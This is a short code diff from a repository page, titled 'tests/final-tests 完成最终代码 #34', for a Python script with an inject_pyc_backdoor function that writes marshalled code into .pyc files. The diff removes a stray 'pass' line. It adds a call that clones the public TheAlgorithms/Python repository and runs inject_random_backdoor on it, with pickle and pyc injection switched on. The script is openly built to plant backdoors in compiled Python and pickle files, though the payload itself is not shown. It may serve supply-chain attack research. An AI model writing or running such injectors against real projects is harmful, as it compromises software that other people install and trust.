tests/final-tests 完成最终代码 #34
| @@ -181,10 +181,9 @@ def inject_pyc_backdoor(path: str) -> None: | |||||||
|             file.write(header) |             file.write(header) | ||||||
|             marshal.dump(code, file) |             marshal.dump(code, file) | ||||||
|  |  | ||||||
|     pass |  | ||||||
|  |  | ||||||
|  |  | ||||||
| if __name__ == "__main__": | if __name__ == "__main__": | ||||||
|     repo_url = "https://github.com/TheAlgorithms/Python.git" |     repo_url = "https://github.com/TheAlgorithms/Python.git" | ||||||
|     clone_dir = "/tmp/repo" |     clone_dir = "/tmp/repo" | ||||||
|     clone_repo(repo_url, clone_dir) |     clone_repo(repo_url, clone_dir) | ||||||
|  |     inject_random_backdoor(clone_dir, pickle=True, pyc=True) | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user